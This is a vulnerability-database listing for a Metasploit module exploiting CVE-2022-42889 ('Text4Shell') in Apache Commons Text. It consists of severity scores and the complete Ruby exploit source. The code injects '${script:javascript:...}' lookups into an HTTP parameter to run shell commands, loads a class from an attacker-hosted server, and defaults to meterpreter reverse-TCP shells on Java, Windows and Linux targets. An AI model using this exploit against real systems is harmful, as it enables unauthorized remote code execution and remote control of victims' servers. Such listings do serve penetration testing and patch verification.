Lucene search

K
zdtMetasploit1337DAY-ID-39257
HistoryJan 21, 2024 - 12:00 a.m.

Apache Commons Text 1.9 Remote Code Execution Exploit

2024-01-2100:00:00
metasploit
0day.today
71
metasploit module
stringsubstitutor
remote code execution
logic flaw
apache commons text
jdk versions
vulnerability
exploit

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.972 High

EPSS

Percentile

99.8%

This Metasploit module exploit takes advantage of the StringSubstitutor interpolator class, which is included in the Commons Text library. A default interpolator allows for string lookups that can lead to remote code execution. This is due to a logic flaw that makes the script, dns and url lookup keys interpolated by default, as opposed to what it should be, according to the documentation of the StringLookupFactory class. Those keys allow an attacker to execute arbitrary code via lookups primarily using the script key. In order to exploit the vulnerabilities, the following requirements must be met: Run a version of Apache Commons Text from version 1.5 to 1.9, use the StringSubstitutor interpolator, and the target should run JDK versions prior to 15.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Java::HTTP::ClassLoader

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Commons Text RCE',
        'Description' => %q{
          This exploit takes advantage of the StringSubstitutor interpolator class,
          which is included in the Commons Text library. A default interpolator
          allows for string lookups that can lead to Remote Code Execution. This
          is due to a logic flaw that makes the “script”, “dns” and “url” lookup
          keys interpolated by default, as opposed to what it should be, according
          to the documentation of the StringLookupFactory class. Those keys allow
          an attacker to execute arbitrary code via lookups primarily using the
          "script" key.

          In order to exploit the vulnerabilities, the following requirements must
          be met:

          Run a version of Apache Commons Text from version 1.5 to 1.9
          Use the StringSubstitutor interpolator
          Target should run JDK < 15
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Alvaro Muñoz', # Original research
          'Karthik UJ', # PoC
          'Gaurav Jain', # Metasploit module
        ],
        'References' => [
          ['CVE', '2022-42889'],
          ['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],
          ['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']
        ],
        'Platform' => ['win', 'linux', 'unix', 'java'],
        'Targets' => [
          [
            'Java (in-memory)',
            {
              'Type' => :java,
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
              'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
            },
          ],
          [
            'Windows EXE Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_dropper,
              'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_cmd,
              'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2022-10-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'The target URI', '/']),
      OptString.new('PARAM', [ true, 'The vulnerable parameter']),
      OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])
    ])
  end

  def check
    vprint_status("Checking if #{peer} can be exploited.")
    res = send_exp
    return CheckCode::Unknown('No response received from target.') unless res

    # blind command injection using sleep command
    sleep_time = rand(4..8)
    vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
    _res, elapsed_time = Rex::Stopwatch.elapsed_time do
      send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")
    end
    vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
    return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time

    CheckCode::Vulnerable('Successfully tested command injection.')
  end

  def exploit
    case target['Type']
    when :java
      # Start the HTTP server to serve the payload
      start_service
      # Trigger a loadClass request via java.net.URLClassLoader
      trigger_urlclassloader
      # Handle the payload
      handler
    when :windows_cmd, :unix_cmd
      execute_command(payload.encoded)
    when :windows_dropper, :linux_dropper
      execute_cmdstager
    end
  end

  def trigger_urlclassloader
    url = get_uri

    vars = Rex::RandomIdentifier::Generator.new

    exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"
    exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"
    exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"

    res = send_exp(exp)

    fail_with(Failure::Unreachable, 'No response received from the target') unless res
    fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
  end

  def execute_command(cmd, _opts = {})
    vars = Rex::RandomIdentifier::Generator.new

    exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];"
    exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"

    res = send_exp(exp)

    fail_with(Failure::Unreachable, 'No response received from the target') unless res
    fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
  end

  def send_exp(exp = '')
    vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'
    send_request_cgi(
      'method' => datastore['METHOD'],
      'uri' => normalize_uri(target_uri.path),

      vars => {
        datastore['PARAM'] => "${script:javascript:#{exp}}"
      }
    )
  end

  def win_target?
    target['Platform'] == 'win'
  end

  def on_request_uri(cli, request)
    case target['Type']
    when :java
      # Call method to handle java payload staging
      super(cli, request)
    else
      # Handle win/unix cmd staging
      client = cli.peerhost
      print_status("Client #{client} requested #{request.uri}")
      print_status("Sending payload to #{client}")
      send_response(cli, exe)
    end
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.972 High

EPSS

Percentile

99.8%